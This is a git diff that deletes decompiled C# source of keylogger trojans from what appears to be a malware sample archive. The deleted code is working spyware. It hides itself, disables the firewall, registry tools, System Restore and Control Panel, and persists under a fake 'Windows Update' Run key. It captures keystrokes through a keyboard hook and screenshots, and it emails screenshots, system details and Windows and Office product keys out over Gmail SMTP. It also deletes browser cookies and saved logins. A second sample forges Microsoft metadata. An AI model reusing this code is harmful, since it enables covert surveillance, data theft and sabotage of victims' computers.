System.IO.File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.\u0001[7])) - { - try - { - \u0001.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", "EnableBalloonTips", (object) "0", RegistryValueKind.DWord); - Process process = new Process(); - string str = "netsh.exe"; - process.StartInfo.Arguments = "firewall set opmode disable"; - process.StartInfo.FileName = str; - process.StartInfo.UseShellExecute = false; - process.StartInfo.RedirectStandardOutput = true; - process.StartInfo.CreateNoWindow = true; - process.Start(); - process.WaitForExit(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.\u0001[8])) - \u0001.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableRegistryTools", (object) "1", RegistryValueKind.String); - if (Conversions.ToBoolean(this.\u0001[9])) - \u0001.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore", "DisableSR", (object) "1", RegistryValueKind.DWord); - if (Conversions.ToBoolean(this.\u0001[10])) - Interaction.Shell("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoRun /t REG_DWORD /d 1 /f", AppWinStyle.NormalFocus); - if (Conversions.ToBoolean(this.\u0001[11])) - Interaction.Shell("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.NormalFocus); - if (!Conversions.ToBoolean(this.\u0001[12])) - this.Timer4.Start(); - if (!Conversions.ToBoolean(this.\u0001[13])) - this.Timer5.Start(); - if (Conversions.ToBoolean(this.\u0001[15])) - { - this.\u0002(true); - this.\u0003(true); - } - if (!Conversions.ToBoolean(this.\u0001[25])) - this.Timer3.Start(); - Conversions.ToBoolean(this.\u0001[26]); - if (Conversions.ToBoolean(this.\u0001[27])) - { - string str = Conversions.ToString(\u0001.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "PathName", (object) null)); - if (System.IO.File.Exists(str + "\\system32\\")) - \u0001.Computer.FileSystem.DeleteFile(str + "\\system32\\"); - System.IO.File.Copy(Application.ExecutablePath, str + "\\system32\\"); - \u0001.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Windows Update", (object) (str + "\\system32\\"), RegistryValueKind.String); - } - if (Conversions.ToBoolean(this.\u0001[28])) - Interaction.Shell(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\taskmgr.exe", AppWinStyle.Hide, true); - Conversions.ToBoolean(this.\u0001[29]); - if (Conversions.ToBoolean(this.\u0001[30])) - { - try - { - string path = "C:\\Program Files\\Mozilla Firefox\\firefox.exe"; - if (System.IO.File.Exists(path)) - System.IO.File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - this.Hide(); - this.Visible = false; - } - - public void \u0002(string NewName) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); -label_2: - num3 = 3; - if (Operators.CompareString(Application.StartupPath, folderPath, false) == 0) - goto label_6; -label_3: - num3 = 4; - System.IO.File.Copy(Application.ExecutablePath, folderPath + "\\update.exe" + NewName); -label_4: - num3 = 5; - Process.Start(folderPath + "\\update.exe" + NewName + " " + Application.ExecutablePath); -label_5: - num3 = 6; - System.IO.File.SetAttributes(folderPath + "update.exe\\" + NewName, FileAttributes.Hidden); - ProjectData.EndApp(); - goto label_14; -label_6: - num3 = 9; -label_7: - num3 = 10; - FileSystem.Kill(Interaction.Command()); - goto label_14; -label_9: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - case 8: - case 11: - case 12: - goto label_14; - case 9: - goto label_6; - case 10: - goto label_7; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void \u0005(object sender, EventArgs e) - { - try - { - this.TextBox4.Text = this.TextBox7.Text + "\\" + this.TextBox6.Text + this.TextBox5.Text; - Size blockRegionSize = new Size(\u0001.Computer.Screen.Bounds.Width, \u0001.Computer.Screen.Bounds.Height); - Bitmap bitmap = new Bitmap(\u0001.Computer.Screen.Bounds.Width, \u0001.Computer.Screen.Bounds.Height); - Graphics.FromImage((Image) bitmap).CopyFromScreen(new Point(0, 0), new Point(0, 0), blockRegionSize); - bitmap.Save(this.TextBox7.Text + "\\" + this.TextBox6.Text + this.TextBox5.Text); - TextBox textBox6 = this.TextBox6; - textBox6.Text = Conversions.ToString(Conversions.ToDouble(textBox6.Text) + 1.0); - MailMessage message = new MailMessage(); - message.From = new MailAddress(this.TextBox2.Text); - message.To.Add(this.TextBox2.Text); - message.Subject = "Ekran Kayıtları " + this.\u0086; - message.Body = "Görüntüler \r\n----------------------------------------------------------------\r\n\r\n"; - Attachment attachment = new Attachment(this.TextBox4.Text); - message.Attachments.Add(attachment); - new SmtpClient("smtp.gmail.com") - { - Port = 587, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)), - EnableSsl = true - }.Send(message); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0006(object sender, EventArgs e) - { - this.\u0003(); - try - { - new SmtpClient("smtp.gmail.com") - { - Port = 587, - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)) - }.Send(new MailMessage() - { - Subject = \u0001.Computer.Name + " Bilgisayar Bilgileri", - To = { - this.TextBox2.Text - }, - From = new MailAddress(this.TextBox2.Text), - Body = "Kullanıcı Adı : " + Environment.UserName + "\r\nBilgisayarın Adı : " + \u0001.Computer.Name + "\r\nİşletim Sistemi Versiyonu : " + Environment.OSVersion.ToString() + "\r\nKök Klasör Yolu : " + Environment.SystemDirectory.ToString() + "\r\nIP: " + this.\u0087 - }); - this.TextBox1.Clear(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.Timer4.Stop(); - } - - private void \u0003() - { - try - { - this.\u0087 = Encoding.ASCII.GetString(this.\u0001.DownloadData("http://whatismyip.com/automation/n09230945.asp")); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0007(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - int num3 = 1; - this.txtWin.Text = this.txtWin.Text + DateAndTime.Now.ToString() + "\r\n\r\n"; -label_1: - num3 = 2; - byte[] digitalProductId1 = \u0002.\u0002.\u0002(\u0002.\u0002.\u0001.\u0001); -label_2: - num3 = 3; - this.txtWin.Text = this.txtWin.Text + \u0001.Computer.Info.OSFullName + "\r\n"; -label_3: - num3 = 4; - this.txtWin.Text = this.txtWin.Text + \u0002.\u0002.\u0002(digitalProductId1) + "\r\n\r\n"; -label_4: - ProjectData.ClearProjectError(); - num1 = -2; -label_5: - num3 = 6; - string str = (string) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Office\\12.0\\Registration\\{91120000-002F-0000-0000-0000000FF1CE}").GetValue("ProductName"); -label_6: - num3 = 7; - this.txtWin.Text = this.txtWin.Text + str + "\r\n"; -label_7: - ProjectData.ClearProjectError(); - num1 = -3; -label_8: - num3 = 9; - byte[] digitalProductId2 = \u0002.\u0002.\u0002(\u0002.\u0002.\u0001.\u0003); -label_9: - num3 = 10; - this.txtWin.Text = this.txtWin.Text + \u0002.\u0002.\u0002(digitalProductId2) + "\r\n\r\n"; -label_10: - num3 = 11; - MailMessage message = new MailMessage(); -label_11: - num3 = 12; - message.Subject = \u0001.Computer.Name + "Office Serialleri"; -label_12: - num3 = 13; - message.To.Add(this.TextBox2.Text); -label_13: - num3 = 14; - message.From = new MailAddress(this.TextBox2.Text); -label_14: - num3 = 15; - message.Body = this.txtWin.Text; -label_15: - num3 = 16; - SmtpClient smtpClient = new SmtpClient("smtp.gmail.com"); -label_16: - num3 = 17; - smtpClient.Port = 587; -label_17: - num3 = 18; - smtpClient.EnableSsl = true; -label_18: - num3 = 19; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text); -label_19: - num3 = 20; - smtpClient.Send(message); -label_20: - num3 = 21; - this.TextBox1.Clear(); -label_21: - num3 = 22; - this.Timer5.Stop(); - goto label_28; -label_23: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - goto label_19; - case 21: - goto label_20; - case 22: - goto label_21; - case 23: - goto label_28; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_23; - } - throw ProjectData.CreateProjectError(-2146828237); -label_28: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void \u0002(bool Enable) - { - if (!Enable) - return; - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Cookies); - if (!Directory.Exists(folderPath)) - return; - try - { - foreach (string file in \u0001.Computer.FileSystem.GetFiles(folderPath)) - { - try - { - \u0001.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - - public void \u0003(bool Enable) - { - if (!Enable) - return; - string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles"; - if (!Directory.Exists(str)) - return; - try - { - foreach (string directory in \u0001.Computer.FileSystem.GetDirectories(str)) - { - try - { - foreach (string file in \u0001.Computer.FileSystem.GetFiles(directory)) - { - if (file.Contains("cookie")) - { - try - { - \u0001.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - - public void \u0004(bool Enable) - { - if (!Enable) - return; - string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles"; - if (!Directory.Exists(str)) - return; - try - { - foreach (string directory in \u0001.Computer.FileSystem.GetDirectories(str)) - { - try - { - foreach (string file in \u0001.Computer.FileSystem.GetFiles(directory)) - { - if (file.Contains("signon")) - { - try - { - \u0001.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - - internal class \u0001 - { - private const int \u0001 = 0; - private const int \u0002 = 13; - private const int \u0003 = 256; - private const int \u0004 = 257; - private const int \u0005 = 260; - private const int \u0006 = 261; - private static int \u0007; - private static \u0003.\u0002.\u0001.\u0002 \u0001; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002( - int idHook, - \u0003.\u0002.\u0001.\u0002 lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002( - int hHook, - int nCode, - int wParam, - \u0003.\u0002.\u0001.\u0001 lParam); - - [DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002(int hHook); - - public static event \u0003.\u0002.\u0001.\u0003 KD; - - public static event \u0003.\u0002.\u0001.\u0004 KU; - - public \u0001() - { - \u0003.\u0002.\u0001.\u0001 = new \u0003.\u0002.\u0001.\u0002(\u0003.\u0002.\u0001.\u0002); - \u0003.\u0002.\u0001.\u0007 = \u0003.\u0002.\u0001.\u0002(13, \u0003.\u0002.\u0001.\u0001, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int \u0002(int nCode, int wParam, ref \u0003.\u0002.\u0001.\u0001 lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - \u0003.\u0002.\u0001.\u0003 obj1 = \u0003.\u0002.\u0001.\u0001; - if (obj1 != null) - { - obj1((Keys) lParam.\u0001); - break; - } - break; - case 257: - case 261: - \u0003.\u0002.\u0001.\u0004 obj2 = \u0003.\u0002.\u0001.\u0001; - if (obj2 != null) - { - obj2((Keys) lParam.\u0001); - break; - } - break; - } - } - return \u0003.\u0002.\u0001.\u0002(\u0003.\u0002.\u0001.\u0007, nCode, wParam, lParam); - } - - ~\u0001() - { - \u0003.\u0002.\u0001.\u0002(\u0003.\u0002.\u0001.\u0007); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct \u0001 - { - public int \u0001; - public int \u0002; - public int \u0003; - public int \u0004; - public int \u0005; - } - - private delegate int \u0002(int nCode, int wParam, ref \u0003.\u0002.\u0001.\u0001 lParam); - - internal delegate void \u0003(Keys Key); - - internal delegate void \u0004(Keys Key); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0002.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0002.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0003/_0002.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0004/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0004/_0001.cs deleted file mode 100644 index d653d225..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0004/_0001.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.exe - -using \u0004; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace \u0004 -{ - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - internal sealed class \u0001 - { - private static ResourceManager \u0001; - private static CultureInfo \u0001; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) \u0001.\u0001, (object) null)) - \u0001.\u0001 = new ResourceManager("awewf45wrtghfghfghfgh.Resources", typeof (\u0001).Assembly); - return \u0001.\u0001; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => \u0001.\u0001; - set => \u0001.\u0001 = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0004/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0004/_0002.cs deleted file mode 100644 index 3bc56dfb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/_0004/_0002.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.exe - -using awewf45wrtghfghfghfgh.My; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace \u0004 -{ - [CompilerGenerated] - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - internal sealed class \u0002 - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/awewf45wrtghfghfghfgh/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/awewf45wrtghfghfghfgh/My/MySettings.cs deleted file mode 100644 index 08a04a05..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/awewf45wrtghfghfghfgh/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: awewf45wrtghfghfghfgh.My.MySettings -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a.exe - -using \u0002; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace awewf45wrtghfghfghfgh.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings \u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool \u0001; - private static object \u0001 = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void \u0002(object sender, EventArgs e) - { - if (!\u0001.Application.SaveMySettingsOnExit) - return; - \u0004.\u0002.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.\u0001) - { - object Expression = MySettings.\u0001; - ObjectFlowControl.CheckForSyncLockOnValueType(Expression); - Monitor.Enter(Expression); - try - { - if (!MySettings.\u0001) - { - \u0001.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0001.Application.SaveMySettingsOnExit) - return; - \u0004.\u0002.Settings.Save(); - }); - MySettings.\u0001 = true; - } - } - finally - { - Monitor.Exit(Expression); - } - } - return MySettings.\u0001; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/awewf45wrtghfghfghfgh/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/awewf45wrtghfghfghfgh/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-677ef471c45c3e8820d5a40a4929bde24bd6660e8659c852e91d3edbc7fa5d9a/awewf45wrtghfghfghfgh/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/AssemblyInfo.cs deleted file mode 100644 index 9ae1bf76..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("Betriebssystem Microsoft® Windows®")] -[assembly: AssemblyCopyright("Copyright © PanamaRed 2009")] -[assembly: AssemblyCompany("Microsoft Corporation")] -[assembly: AssemblyDescription("Anwendung für Dienste und Controller")] -[assembly: AssemblyTitle("Anwendung für Dienste und Controller")] -[assembly: NeutralResourcesLanguage("de-DE")] -[assembly: AssemblyFileVersion("5.1.2600.5512")] -[assembly: Guid("007435e1-5485-45e1-a09e-46a2b43d3212")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("© Microsoft Corporation. Alle Rechte vorbehalt")] -[assembly: AssemblyVersion("5.1.2600.5512")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Module1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Module1.cs deleted file mode 100644 index b2c1821c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Module1.cs +++ /dev/null @@ -1,129 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: services.Module1 -// Assembly: services, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: F6A9F931-6B07-4D28-AD3E-515314EA1568 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; - -namespace services -{ - [StandardModule] - internal sealed class Module1 - { - public static bool IsAppRunning( - string sFilename, - bool bCompareFullPath = true, - Module1.eActionState nAction = Module1.eActionState.DoNothing) - { - Process[] processes = Process.GetProcesses(); - int index = 0; - bool flag; - while (index < processes.Length) - { - Process process = processes[index]; - try - { - string lower = process.MainModule.FileName.ToLower(); - if (!bCompareFullPath ? lower.IndexOf("\\" + sFilename.ToLower()) > 0 : Operators.CompareString(lower, sFilename.ToLower(), false) == 0) - { - try - { - switch (nAction) - { - case Module1.eActionState.DoActivate: - Interaction.AppActivate(process.MainWindowTitle); - break; - case Module1.eActionState.DoClose: - process.CloseMainWindow(); - break; - case Module1.eActionState.DoKill: - process.Kill(); - break; - } - flag = true; - break; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - break; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - return flag; - } - - public static bool IsAppRunning2( - string sFilename, - bool bCompareFullPath = false, - Module1.eActionState nAction = Module1.eActionState.DoNothing) - { - Process[] processes = Process.GetProcesses(); - int index = 0; - bool flag; - while (index < processes.Length) - { - Process process = processes[index]; - try - { - string lower = process.MainModule.FileName.ToLower(); - if (!bCompareFullPath ? lower.IndexOf("\\" + sFilename.ToLower()) > 0 : Operators.CompareString(lower, sFilename.ToLower(), false) == 0) - { - try - { - switch (nAction) - { - case Module1.eActionState.DoActivate: - Interaction.AppActivate(process.MainWindowTitle); - break; - case Module1.eActionState.DoClose: - process.CloseMainWindow(); - break; - case Module1.eActionState.DoKill: - process.Kill(); - break; - } - flag = true; - break; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - break; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - return flag; - } - - public enum eActionState - { - DoNothing, - DoActivate, - DoClose, - DoKill, - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/InternalXmlHelper.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/InternalXmlHelper.cs deleted file mode 100644 index b7de43d2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/InternalXmlHelper.cs +++ /dev/null @@ -1,214 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: services.My.InternalXmlHelper -// Assembly: services, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: F6A9F931-6B07-4D28-AD3E-515314EA1568 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98.exe - -using System; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Linq; -using System.Runtime.CompilerServices; -using System.Xml.Linq; - -namespace services.My -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class InternalXmlHelper - { - [EditorBrowsable(EditorBrowsableState.Never)] - private InternalXmlHelper() - { - } - - public static string get_Value(IEnumerable source) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (enumerator.MoveNext()) - return enumerator.Current.Value; - } - finally - { - enumerator?.Dispose(); - } - return (string) null; - } - - public static void set_Value(IEnumerable source, string value) - { - IEnumerator enumerator; - try - { - enumerator = 